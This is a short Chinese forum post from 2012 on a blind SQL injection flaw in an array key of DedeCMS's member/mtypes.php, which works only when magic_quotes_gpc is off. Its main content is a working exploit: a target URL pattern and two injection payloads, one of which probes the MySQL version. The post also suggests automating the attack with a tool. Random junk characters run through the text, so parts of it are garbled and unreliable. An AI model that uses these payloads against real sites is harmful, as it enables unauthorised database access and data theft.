需要magic_quotes_gpc = Off,所以说是鸡肋啊.
9 B: h: ]/ {4 X' ^( Y0 | S
) v. ^9 _. S: a! V% s f7 ~* i 6 f* l& u. y3 a$ b: B
发生在数组key里的注射漏洞,有点意思.
9 H# F' Z# r% W; E7 l, U A* O" U* Y * ]" x, |9 A$ l" P, a
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下6 E- ?5 W- Y6 S) |3 V8 V, j* {, l
[7 {1 v: ?& x; d, Zhttp://www.xxx.com /dede/member/mtypes.php?dopost=save! |: `! i3 j* b6 O7 a! F5 i
0 s" |( R* Y/ i) G) Xexploit:2 m. g9 f$ T* y2 D
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
5 `8 e! X5 T* {4 @% V2 v* t- H6 \1 pmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r& U0 X$ x9 ]; S9 R
|
发表于 2012-12-20 08:08:09
收藏
支持
反对